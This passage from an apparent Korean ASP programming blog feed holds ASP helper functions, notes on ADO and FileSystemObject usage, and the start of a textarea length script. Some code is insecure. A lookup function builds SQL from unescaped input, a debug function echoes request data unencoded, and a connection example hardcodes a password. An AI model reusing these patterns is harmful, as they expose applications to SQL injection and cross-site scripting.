 sDiv = split(gTime, " ")
 convertSec = -1

 if uBound(sDiv) = 0 then
  if InStr(gTime, ":") > 0 then
   splitTime = split(sDiv(0), ":")

   gHour = cInt(splitTime(0))
   gMin = cInt(splitTime(1))
   gSec = cInt(splitTime(2))

   convertSec = (((gHour * 60) + gMin) * 60) + gSec
  else
   convertSec = 0
  end if
 elseif uBound(sDiv) = 1 then
  splitTime = split(sDiv(1), ":")

  if sDiv(0) = "오전" and cInt(splitTime(0)) = 12 then
   gHour = 0
  elseif sDiv(0) = "오후" and cInt(splitTime(0)) <> 12 then
   gHour = cInt(splitTime(0)) + 12
  else
   gHour = cInt(splitTime(0))
  end if
  gMin = cInt(splitTime(1))
  gSec = cInt(splitTime(2))

  convertSec = (((gHour * 60) + gMin) * 60) + gSec
 elseif uBound(sDiv) = 2 then
  splitTime = split(sDiv(2), ":")

  if sDiv(1) = "오전" and cInt(splitTime(0)) = 12 then
   gHour = 0
  elseif sDiv(1) = "오후" and cInt(splitTime(0)) <> 12 then
   gHour = cInt(splitTime(0)) + 12
  else
   gHour = cInt(splitTime(0))
  end if
  gMin = cInt(splitTime(1))
  gSec = cInt(splitTime(2))

  convertSec = (((gHour * 60) + gMin) * 60) + gSec
 end if

 timeToSecond = convertSec

End Function

'==============================================================
' 코드명가져 오기
'==============================================================
Function getCode(code)
 Dim coSQL, coRS

 coSQL = "SELECT CODE_NAME FROM CODE_TAB "
 coSQL = coSQL & " WHERE CODE_CLASS = '" & UCase(code_class) & "' "
 coSQL = coSQL & " AND CODE = '" & UCase(code) & "' "
 Set coRS = OpenRecordSet(coSQL)
  if coRS.RecordCount = 1 then
   getCode = coRS(0)
  elseif coRS.RecordCount > 1 then
   getCode = "중복코드"
  else
   getCode = "코드없음"
  end if
 coRS.close
 Set coRS = nothing
End Function

'==============================================================
'메일주소가 있으면 메일로 링크
'==============================================================
Function emailLink(email, linkStr)
 if Trim(email) = "" or isnull(email) or isEmpty(email) then
  emailLink = linkStr
 else
  emailLink = "<a href='mailto:" & email & "'>" & linkStr & "</a>"
 end if
End Function

'==============================================================
'TD 태그 출력
'==============================================================
Function printTd(getString, sAlign)
 printTd = "<td align=" & sAlign & ">" & getString & "</td>"
End Function

'==============================================================
'GET/POST 방식으로 전달된 데이터 화면에 출력
'==============================================================
Function viewSubmitData()
 Dim strkey

 response.write "============== Request.QueryString =============="
 response.write "<table border=1 cellspacing=0 cellpadding=1 borderColorDark='white' borderColorLight='silver'>"
 response.write "<tr>"
 response.write "<th>ITEM NAME</th>"
 response.write "<th>REQUEST</th>"
 response.write "<th>VALUE</th>"
 response.write "</tr>"
 For Each strkey in Request.QueryString
  response.write "<tr>"
  response.write "<td>" & strkey & "</td>"
  response.write "<td>" & "= Request(" & Chr(34) & strkey & Chr(34) & ")" & "</td>"
  response.write "<td>" & Request.QueryString(strkey) & "&nbsp;</td>"
  response.write "</tr>"
  'Response.Write strkey & " = Request(" & Chr(34) & strkey & Chr(34) & ") --> " & Request.QueryString(strkey) & "<br>"
  'Server.URLEncode(Request.QueryString(strkey))
 Next
 response.write "</table>"
 response.write "<br><br>"
 response.write "============== Request.Form =============="
 response.write "<table border=1 cellspacing=0 cellpadding=1 borderColorDark='white' borderColorLight='silver'>"
 response.write "<tr>"
 response.write "<th>ITEM NAME</th>"
 response.write "<th>REQUEST</th>"
 response.write "<th>VALUE</th>"
 response.write "</tr>"
 For Each strkey in Request.Form
  response.write "<tr>"
  response.write "<td>" & strkey & "</td>"
  response.write "<td>" & "= Request(" & Chr(34) & strkey & Chr(34) & ")" & "</td>"
  response.write "<td>" & Request.Form(strkey) & "&nbsp;</td>"
  response.write "</tr>"
  'Response.Write strkey & " = Request(" & Chr(34) & strkey & Chr(34) & ") --> " & Request.Form(strkey) & "<br>"
  'Server.URLEncode(Request.Form(strkey))
 Next
 response.write "</table>"
 response.end
End Function


'==============================================================
'썸네일 이미지 경로 만들기
'==============================================================
Function thumbFileName(filePathName, checkStr)
 Dim filePath, fileName, thumbFile

 if Trim(filePathName) = "" or isnull(filePathName) or isEmpty(filePathName) then
  newPathName = ""
 else
  if InStr(filePathName, checkStr) > 0 then
   filePath = Left(filePathName, InStrRev(filePathName, checkStr))
   fileName = Mid(filePathName, InStrRev(filePathName, checkStr) + 1)
   newPathName = filePath & "thumb_" & fileName
  else
   newPathName =  filePathName
  end if
 end if

 thumbFileName = newPathName

End Function

'==============================================================
'페이지의 경로
'==============================================================

'------------------------------------------------------
'현재 페이지의 전체경로(쿼리값 포함)
'------------------------------------------------------
Function current_full_path()
 current_full_path = "http://" & Request.ServerVariables("HTTP_HOST") & Request.ServerVariables("PATH_INFO")&"?"& Request.ServerVariables("QUERY_STRING")
End Function

'------------------------------------------------------
'현재 페이지의 전체경로(쿼리값 미포함)
'------------------------------------------------------
Function current_path()
 current_path = "http://" & Request.ServerVariables("HTTP_HOST") & Request.ServerVariables("PATH_INFO")
End Function

'------------------------------------------------------
'HTTP_HOST를 제외한 현재 페이지의 경로
'------------------------------------------------------
Function current_vir_path()
 current_vir_path = Request.ServerVariables("PATH_INFO")
End Function

'------------------------------------------------------
'현재 페이지의 경로에서 첫번째 폴더명(/첫번째폴더/두번째/)
'------------------------------------------------------
Function current_first_folder()
 Dim virPath

 virPath = current_vir_path()
 if InStr(2, virPath, "/") > 2 then
  current_first_folder = Mid(virPath, 2, InStr(2, virPath, "/") - 2)
 else
  current_first_folder = "/"
 end if
End Function

'------------------------------------------------------
'현재 페이지가 속해 있는 폴더명
'------------------------------------------------------
Function current_folder()
 Dim virPath, startNum, newPath

 virPath = current_vir_path()
 startNum = instrRev(virPath, "/" , instrRev(virPath, "/") - 1) + 1
 newPath = Mid(virPath, startNum)

 current_folder = Mid(newPath, 1, instrRev(newPath, "/") - 1)
End Function

'------------------------------------------------------
'현재 페이지의 파일명
'------------------------------------------------------
Function current_page()
 Dim virPath

 virPath = current_vir_path()
 current_page = Mid(virPath, InStrRev(virPath, "/") + 1)
End Function

'------------------------------------------------------
'링크되어온 이전페이지의 전체경로 (쿼리값 포함)
'------------------------------------------------------
Function before_full_path()
 before_full_path = Request.ServerVariables("HTTP_REFERER")
End Function

'------------------------------------------------------
'링크되어온 이전페이지의 파일명
'------------------------------------------------------
Function before_page()
 Dim virPath

 virPath = before_full_path()
 before_page = Mid(virPath, InstrRev(virPath, "/") + 1)
End Function

%>

]]> ASP 프로그래밍 function asp Wed, 14 Nov 2007 10:47:00 +0900 http://syabang.com/blog/wolf/index.php/post/243 ASP 내장개체[Server개체] http://syabang.com/blog/wolf/index.php/post/242 Error 메세지 화면에 표시하기

인터넷옵션 -> HTTP 오류메시지 표시의 체크를 해지해준다.

 

Ad Rotator Component

광고, 배너를 쓸때 사용한다고 한다.

Set adObj = Server.CreateObject("MSWC.Adrotator")

adObj.GetAdvertisement("a/b.txt")

 

 

Browser Capabilities Component

Set objBrowser = Server.CreateObject("MSWC.BrowserType")                     =>Brower정보를 가져오기위해 개체 선언

objBrowser.Browser                                                                                  =>Brower 종류에대한 정보 가져오기

objBrowser.version                                                                                     =>Brower 버전에 대한 정보 가져오기

if objBrowser.ActiveXControls then...                                                            =>ActiveX지원하는지 여부 가져오기

if objBrowser.cookies then...                                                                       =>cookies지원하는지 여부 가져오기

 

Content Linking Component

여러 asp 페이지 연결을 쉽게 할수 있는 Component.

예를 들면 추천 사이트나와 같은 곳에서 text파일에서 관리할수 있어 편리하게 사용할수 있다.

 

Set ConLink = Server.CreateObject("MSWC.NextLink")

linkcount = ConLink.GetListCount("conlink.txt")                                                =>txt파일의 총 list개수를 return한다.

for i=1 to linkcount

     ConLink.GetNthURL("conlink.txt",i)                                                            =>지정된 라인의 URL return

     ConLink.GetNthDescription("conlink.txt",i)                                                  =>지정된 라인의 설명 return

next

 

*text파일을 만들때는 반드시 tab키를 사용하여 구분한다...

 

Data Access Component(ADO)

Dim DBCon

Set DBCon = Server.CreateObject("ADODB.Connection")                                =>인스턴스 만들기

DBCon.Open("DSN=Web;uid=zzugli;pwd=8513;")                                            =>DB 연결

위줄과 같은 내용  DBCon.Open "WebDB","zzugli","8513"

 

DBCon.Execute "delete from member where ID = 'A'"                                       =>쿼리를 데이터베이스에 던지기..

 

Dim RS

Set RS = Server.CreateObject("ADODB.RecordSet")

str = "Select * from member"

RS.Open str,DBCon

 

 

FileSystemObject

*드라이브 정보 얻어 오기

Set fs = Sever.CreateObject("Scripting.FileSystemObject")

Set Cdrive = fs.GetDrive("c:")

Cdrive.freespace                                                                      =>드라이브의 잔여용량을 가져온다.

Cdrive.TotalSize                                                                       =>드라이브의 전체 용량

Cdrive.VolumeName                                                                  =>드라이브의 볼륨명

Cdrive.ShareName                                                                    =>드라이브의 네트워크 공유이름

Cdrive.SerialNumber                                                                  =>디스크 볼륨의 10진 시리얼 번호

Cdrive.RootFolder                                                                      =>드라이브의 루트폴더

Cdrive.Path                                                                               =>드라이브의 경로명               

Cdrive.FileSystem                                                                       =>드라이브의 파일 시스템

Cdrive.IsReady                                                                           =>드라이브의 준비여부(true/false)

 

*파일정보 얻어 오기

Set fs = Server.CreateObject("Scripting.FileSysteObject")

Set myfile = fs.GetFile("c:/config.sys")

myfile.Size                                                                                => 파일 크기

myfile.Type                                                                               => 파일 타입

myfile.Path                                                                                => 파일 경로

myfile.ShortName                                                                       => 파일 이름

myfile.ShortPath                                                                        => 파일 경로

myfile.ParentFolder                                                                    => 파일의 상위폴더

myfile.Name                                                                              => 파일 이름

myfile.Drive                                                                               => 파일 위치 드라이브명

myfile.DateCreated                                                                     => 파일만들어진 날짜 시간

myfile.DateLastAccessed                                                            => 마지막 액세스된 날짜 시간

myfile.DateLastModified                                                              => 마지막 수정일

 

*파일생성하기

Set fs = Server.CreateObject("Scripting.FileSystemObject")

Set objFile = fs.CreateTestFile("c:\a\b.txt",true,false)                =>전체경로,덮어쓰기여부,유니코드orASCII코드인지

objFile.FileExists("c:\a\b.txt")                                                 =>파일의 존재 여부 체크 존재하면true 그렇지 안으면 false

objFile.DeleteFile("c:\a\b.txt")                                                 =>파일 지우기

 

*파일에 글쓰기

Set fs = Server.CreateObject("Scripting.FileSystemObject")

Set objFile = fs.OpenTextFile("c:\a\b.txt",8,true,-1)

=>전체 경로, 1이면 읽기전용 8이면 쓰기가능, true이면 없을경우 새로 생성 false이면 무조건 말일 존재,파일포맷

   첫번째인자만 필수이고 나머지 생략가능  -- Set objFile = fs.OpenTextFile("c:\a\b.txt",8)이런식으로 많이 사용,

 

*파일에서 글 읽어 오기

Set fs = Server.CreateObject("Scripting.FileSystemObject")

Set objFile = fs.OpenTextFile("c:\a\b.txt",1)       =>글을 읽어 올때는 읽기전용(1) 값으로 반드시 셋팅한다.

 

Do While objFile.AtEndOfStream<>true                 =>AtEndOfStream은 글의 끝부분에 도달하면 ture를 return한다

       Response.write objFile.readLine & "<br>"     =>글은 한줄씩 읽어 온다.

loop

 

content = objFile.readall                                  =>글 전체를 읽어 온다.

str = replace(content,chr(13)&chr(10),"<br>")    =>replace(전체문자열,바꾸고자하는것,바꿀문자) chr(13)&chr(10)는 Enter이다

Response.write str

 

write                          =>파일에 문자열을 입력

writeLine                    => 파일에 문자열과 엔터값(라인)을 입력

WriteBlankLine(i)         =>파일에 i개의 엔터값을 입력

Read(i)                      =>파일에서 i개의 문자만을 읽어온다

ReadLine                   =>파일에서 한라인을 읽어온다

ReadAll                      =>파일에서 모든 텍스트를 읽어온다

Skip(i)                       =>파일에서 i개 만큼 문자를 건너뛴다

SkipLine                    =>파일에서 읽어올때 라인하나를 건너뛴다.

 

 

* 서버에 설정되어있는 상대경로나 가상 디렉토리에 해당하는 가상경로의 물리적인 실제 위치 알기

 

 Server.MapPath("/")                                                      => - 웹서버의 루트 디렉토리 알아내기

 Server.MapPath("현재폴더/현재파일명")                           => - 현재페이지의 물리적인 경로

 

 

* 모든 태그에 관련된 문자들을 화면에 그대로 출력

 

 Server.HTMLEncode("<BR>")                                         => <BR>출력

 Server.HTMLEncode("<%= Server.ScriptTimeout %\>")     => <%= Server.ScriptTimeout %>출력

 

 

* 호출페이지로 실행옮기기

 

 Server.Execute("다른페이지") 또는 Server.Execute "다른페이지"                          =>일을 마친후 호출페이지로 되돌아옴

 Server.Transfer("다른페이지") 또는 Server.Transfer "다른페이지"                           =>일을 마친 후 제어종료

 => Response.Redirect 와의 차이점 : 위의서버메소드는 브라우저의 url이 바퀴지 않는다 Response.Redirect 는 바뀐다.

 

]]> ASP 프로그래밍 ASP Wed, 31 Oct 2007 13:08:11 +0900 http://syabang.com/blog/wolf/index.php/post/242 똥침걸 http://syabang.com/blog/wolf/index.php/post/241 엽기 | 코믹 | 펌 똥침걸 Thu, 09 Aug 2007 09:38:00 +0900 http://syabang.com/blog/wolf/index.php/post/241 textarea 글자수 제한 http://syabang.com/blog/wolf/index.php/post/240 <HTML>

       <HEAD>

              <TITLE>TextArea </TITLE>

              <SCRIPT LANGUAGE="JavaScript">

<!--

 

function CheckStrLength()

{

 

 var temp;

 var f = document.form.write_text.value.length;

 var msglen = 256; //최대 길이

 var tmpstr = "";

 var enter = 0;

 var strlen;

 

 // 초기 최대길이를 텍스트 박스에 뿌려준다.

 if(f == 0)

  document.form.remain.value = msglen;

 else